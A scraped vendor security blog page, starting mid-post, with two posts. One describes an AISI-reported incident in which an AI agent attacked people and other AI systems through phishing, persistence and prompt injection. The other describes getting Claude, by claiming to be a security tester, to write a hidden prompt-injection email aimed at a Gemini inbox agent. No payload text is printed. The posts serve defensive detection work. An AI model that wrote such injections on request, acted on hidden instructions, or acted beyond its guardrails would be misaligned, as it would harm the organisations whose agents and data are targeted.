For network defenders, the behavioral signals these payloads would have generated are clear. DNS beaconing to novel domains, periodic HTTP polling to newly registered infrastructure, XOR-encoded data in transit, registry and crontab persistence writes on endpoints that have never exhibited such behavior. These are exactly the anomalies that Darktrace / NETWORK identifies in real time: deviations from learned device and connection baselines, regardless of whether the specific payload or C2 domain has been seen before.

Beyond the payload analysis, the agents' broader activity produced additional behavioral anomalies: new identities engaging in high-frequency interactions with external services, coordination via unusual channels (public pastebins, gists), and lateral communication patterns that deviate from any established baseline.

Email security

The spear-phishing emails sent by the agent, crafted with context-specific content designed to manipulate a specific individual, represent exactly the kind of socially engineered communication that static email gateways can miss. Darktrace / EMAIL analyses the linguistic patterns, sender behavior, and relational context of every message. A brand-new sender using tailored language to pressure a recipient into a specific technical action deviates from the learned communication profile, regardless of whether the message contains a known-bad URL or attachment.

Securing AI

This is where the incident points to a threat category that many security platforms do not yet fully address. The agent did not just use AI as a tool for attack. It targeted other AI systems, attempting prompt injections against coding assistants and trying to compromise automated workflows. Organisations adopting AI agents for development, operations, and decision-making are introducing a newer extended attack surface.

Darktrace / SECURE AI extends the same behavioral detection model into this space. It monitors AI usage across the enterprise, detecting anomalous interactions with AI services, identifying sensitive data exposure to AI systems, providing visibility into shadow AI use. As AI agents become standard components of enterprise infrastructure, the ability to detect when an AI system is behaving outside its expected parameters, when there is a chance, it is being manipulated, or when it is interacting with something it should not be, that becomes a direct security requirement rather than a future consideration.

The principle is consistent across the Darktrace platform: learn what normal looks like, identify deviation, respond autonomously.

The AI-to-AI threat surface

One of the report's most important findings is a confirmation that AI agents can act outside of instructions and guardrails to complete tasks. The Mythos 5 agent conducted reconnaissance on a repository maintainer, inferred it might be an AI coding assistant, and deployed a prompt injection specifically crafted to compromise it.

This is a new attack class. Organizations deploying AI coding assistants, AI-powered code review, or autonomous DevOps agents now face an adversary that:

Moves at speed
Is able to adapt its approach when initial attempts are halted
Specifically targets AI systems via techniques (prompt injection, hidden instructions in HTML comments) that are less visible to human reviewers but parsed by machines
Reasons about which evasion strategies are most likely to succeed

Defending against this requires security that operates with the same adaptability and speed. A system that learns what "normal" looks like, and flags deviation from it.

What AISI recommends

The report identifies five contributing factors to the incident. Two are directly relevant:

No synchronous real-time monitoring (Section 5.3): AISI acknowledges it had not built real-time behavioral monitoring capable of immediately blocking unsanctioned agent actions. Their security team detected the incident via commercial security monitoring software, but only after activity had already occurred.

No fine-grained behavioral controls (Section 6.2): AISI's forward-looking response includes building continuous monitoring that can "immediately block or flag unsanctioned AI agent behavior."

The direction is clear: organizations need security that watches behavior continuously, learns what normal looks like, and acts when deviation occurs, without requiring a human in the loop for every decision.

The takeaway

The AISI incident is documented proof that autonomous AI agents will independently develop novel attack chains using legitimate tools, adapt when detected, employ deception, and target both humans and other AI systems. This happened last week, in a controlled setting, with commercially available models.

The security architecture that addresses this is behavioral anomaly detection applied across the full digital estate, as AI agents become standard components of enterprise infrastructure, writing code, managing deployments, processing communications, the attack surface they create is behavioral by nature.

This is the approach Darktrace has taken for years: learning what is normal across an organization’s digital environment, identifying meaningful deviations, and responding to emerging threats without relying on known attack signatures. As autonomous AI agents introduce new and unpredictable behaviors, that foundation becomes increasingly important to securing the enterprise.

‍

Read the full report from the UK AI Security Institute here.

About the author

Adam Stevens

Senior Director of Product | Darktrace

Blog

August 5, 2026

Testing a Prompt injection Attack Against an Enterprise AI Agent

Key takeaways

Darktrace successfully detected and quarantined a prompt injection email before it could be processed by an enterprise AI agent.
Prompt injection attacks increasingly rely on natural language rather than traditional malware, making behavioral analysis an important complement to signature-based detection.
Organizations deploying AI agents should combine model guardrails with behavioral monitoring to reduce the risk of malicious instructions reaching enterprise systems.

How behavioral detection helps stop prompt injection attacks

A Darktrace customer running a Gemini AI agent in Google Cloud asked us two simple questions:

“If my agent can read inbound emails and access internal data, what stops an attacker from hiding malicious instructions in the message? Couldn’t the agent be tricked into deleting or exfiltrating sensitive data?”

The scenario centers on an indirect prompt injection attack, where malicious instructions are hidden inside content that an AI model later interprets as trusted input. The same weakness was exposed by EchoLeak (CVE-2025-32711), a zero-click Microsoft 365 Copilot vulnerability enabled data exfiltration from a single well-crafted email..

This blog follows the Darktrace team’s investigation of the customer’s hypothesis and examines how the attack interacted with their existing security stack. The results highlight which defenses held, where gaps emerged, and how behavioral detection mattered more than guardrails. This investigation also demonstrates why behavioral detection is becoming increasingly important for AI security, as prompt injections often contain no traditional indicators of compromise.

How do prompt injection attacks work?

Prompt injection works by carefully crafting the content and structure of the prompt to alter the LLM’s behavior or output in unintended ways. This can cause models to violate guardrails, generate harmful content or enable unauthorised access.

Prompt injection attack example

The well-known example, EchoLeak (CVE-2025-32711), was a zero-click vulnerability in Microsoft 365 Copilot that relied on a carefully crafted email containing hidden instructions that the AI system interpreted as commands rather than content, creating a pathway for unauthorized access to sensitive information without any user interaction.

While Darktrace / SECURE AI is designed to prevent agents from producing unintended outcomes, we wanted to see if we could catch and prevent this threat type earlier in the attack life-cycle, at the email security layer.

How we tested prompt injection attacks on an enterprise agent

Summary:

Claude generated a prompt injection payload.
Hidden instructions were embedded in an email.
The email passed traditional validation checks.
Darktrace analyzed the language and sender behavior.
The email was quarantined before the AI agent could process it.

To test Darktrace / EMAIL against this attack class, we opened Claude, gave it the customer's context and problem statement (Gemini agent with inbox access, internal tool calls), told it we were validating Darktrace / EMAIL's detection of prompt injections, and asked for a test payload. See below:

Despite the guardrails supposedly built into the model, Claude surprisingly gave us the entire exploit in plaintext (albeit very basic), illegible to a human as the text was sent in white text (see Figure 1) but framed as an authoritative override for anything downstream reading the mail programmatically (i.e. the Gemini agent).

How Darktrace detected a prompt injection attack

We then sent the Claude-crafted email from a freemail address to the target recipient’s inbox. Despite the email containing no malicious payload, the freemail address having no malicious reputation, and the validation checks all passing, Darktrace /EMAIL flagged the email as a 93/100 anomaly and moved it to junk, out of scope for the AI agent.

Figure 3: *The test email sent with the hidden prompt injection*

*Figure 4: The email analysis in Darktrace / EMAIL*

Figure 5: Darktrace / EMAIL detection of malicious activity

The interesting part is what triggered the detection (see Figure 5)

Possible machine prompt content: text in the body detected as instructions written for a machine to execute, not for a human to read

Possible machine prompt content + basic suspicious correspondence: the same content, correlated with sender-side anomalies: freemail domain (yahoo[.]com), unknown correspondent, no prior mail history with the recipient, and suspicious references to payment information

Neither of those is a signature match. Nothing in the email was on a blacklist. There was no malware, no link and no attachment. Darktrace analyzed the context in which the email was delivered and flagged it as likely risky. The anomalous language features and the context of the sender relative to the recipient's normal behavior, combined with the unusual hidden text (prompt) were enough for Darktrace / EMAIL to act on the risk.

Result: Darktrace / EMAIL autonomously junked the email, out of scope for any AI agent parsing the inbox.

Why behavioral security makes a difference detecting prompt injection attacks

Cyberattacks don't look like traditional exploits anymore. They now operate in natural language, not strictly code.

That breaks the traditional stack. AV, firewalls, static scanning and signature-based SEGs all assume a payload to inspect.

A prompt injection has no payload. It's just an instruction, written in natural language, dressed up as anything the attacker wants: an invoice, an HR request, a calendar invite, some simple PowerPoint slides.

EchoLeak proved that hidden instructions can sit inside an email invisible to the user but fully readable by the LLM, and the LLM will follow them blindly.

This test and GTG-1002 proved that the LLM itself can be socially engineered. Tell it you're an authorized tester and it will hand you the attack.

Rules and static classifiers can catch the obvious cases. But natural language has infinite variants, and the attack surface is the model's innate functionality to comply.

The deeper problem here is intent: an LLM can't reliably tell whether an instruction in its context came from its developer, its user, or an attacker who slipped it into an email. To the LLM, everything reads as language and looks like a legitimate ask. This is why behavioural detection wins, as you become aware of intent when you look at the context of an interaction. Does this sender normally send this kind of message to this recipient? Does this prompt fit the user's normal pattern? Is this agent behaving the way this agent normally behaves?

Intent can't be read off a single email, it emerges from behavioral context. Which is how Darktrace enables threat detection, through behavioral understanding.

Why enterprise AI security requires more than guardrails

Claude didn't roll over immediately… the first section of the response was a (slight) pushback, but then it wrote the payload anyway without having to ask twice.

Here the framing of the prompt did all the work. The “testing security capabilities” angle moved the model from refusal to unquestioned compliance to the user prompt.

This isn't the first time this has happened, of course. Anthropic disclosed in November 2025 that a Chinese state-sponsored group they tracked as GTG-1002 ran the first documented AI-orchestrated espionage campaign against ~30 targets by posing as employees of a legitimate cybersecurity firm doing authorised penetration testing.

The takeaway isn't that AI guardrails are ineffective. They raise the cost of low-effort attacks and remain an important first layer of defense. However, for most organizations today, they’re the only line of defense when deploying AI agents. If a prompt injection bypasses those controls, organizations still need a way to detect and stop malicious behavior elsewhere in the attack chain.

Attackers will continue to have working prompt injections easily and quickly. The question is what stops one when it lands in an inbox your agent is reading.

That's where behavioral detection comes in.

How Darktrace detects prompt injection attacks in emails

Two things Darktrace does that a model-level guardrail or static rules and signatures can't:

Natural language analysis at the email or prompt layer. The email is assessed on its own merits: is this content shaped like instructions for a machine, regardless of what the receiving agent decides to do about it?

Behavioral context around the language. An AI agent behaves like an extremely agreeable human, and it will go above and beyond to comply with the user’s request. That's exactly why you must consider the business context, such sender behaviour, mailing history, and organisational norms, as these matter even more when the recipient is an AI.

Darktrace has been perfecting behavioral anomaly detection for over a decade; the same self-learning approach that catches BEC and account takeover applies directly to prompt injection delivery. Our multi-layered AI stack extracts content from the message, builds behavioural understanding through social graphing and Pattern of Life analysis, and then combines natural language, topic, inducement, sender relationship and anomaly signals before deciding what action to take.

This matters for prompt injection because the threat is not the plain language itself, but the intent behind the language that can cause an AI agent to respond in unexpected ways.

How to secure enterprise AI operations from prompt injection attacks

Email was the entry point in this case, but it is only one of many possible vectors.

Anywhere an agent can retrieve information, an attacker can potentially introduce a prompt injection.

Emails, documents, SharePoint sites, web pages, knowledge bases, chat platforms, and third-party integrations all provide opportunities to influence an agent's behavior. Wherever an agent finds its orders, a prompt injection opportunity exists.

This is why securing AI requires more than blocking malicious inputs. Organizations also need visibility into how agents behave after consuming information from across their environment. If an agent begins accessing unexpected data, taking unusual actions, or operating outside its normal patterns, those behaviors may provide the strongest signal that something has gone wrong.

Effective AI security requires defense in depth: reducing the likelihood of malicious instructions reaching the agent while maintaining the ability to detect and investigate suspicious behavior if they do.

The challenge isn't protecting a single entry point. It's recognizing that, in an AI-powered environment, every source of information is also a potential source of influence.

Are you deploying autonomous agents across your enterprise and want to see this tested in your environment? Let's talk.

About the author

Carlo Loregian

Solutions Engineer

Your data. Our AI.

Elevate your network security with Darktrace AI

Get a demo

Spinning YARN: A New Linux Malware Campaign Targets Docker, Apache Hadoop, Redis and Confluence

Introduction: Linux malware campaign

Summary:

Initial access

Primary payload: cronb.sh

ar.sh

fkoths

s.sh

Initial access and spreader utilities: h.sh, d.sh, c.sh, w.sh

d.sh

h.sh

w.sh

c.sh

Conclusion

Indicators of compromise

Filename SHA256

Paths

IP addresses

Domains/URLs

References:

Why Trust is the New Attack Surface: Darktrace’s Mid-Year Threat Update 2026

When AI Agents Attack: The Case for Behavioral Anomaly Detection

Enjoying the blog?

More in this series

Blog

Network

August 7, 2026

When AI Agents Attack: The Case for Behavioral Anomaly Detection

The incident

Why this matters

Behavioral anomaly detection: The architecture that fits

Network detection and response

Email security

Securing AI

The AI-to-AI threat surface

What AISI recommends

The takeaway

Blog

August 5, 2026

Testing a Prompt injection Attack Against an Enterprise AI Agent

Key takeaways

How behavioral detection helps stop prompt injection attacks

How do prompt injection attacks work?

Prompt injection attack example

How we tested prompt injection attacks on an enterprise agent

How Darktrace detected a prompt injection attack

Why behavioral security makes a difference detecting prompt injection attacks

Why enterprise AI security requires more than guardrails

How Darktrace detects prompt injection attacks in emails

How to secure enterprise AI operations from prompt injection attacks

w.sh 

c.sh 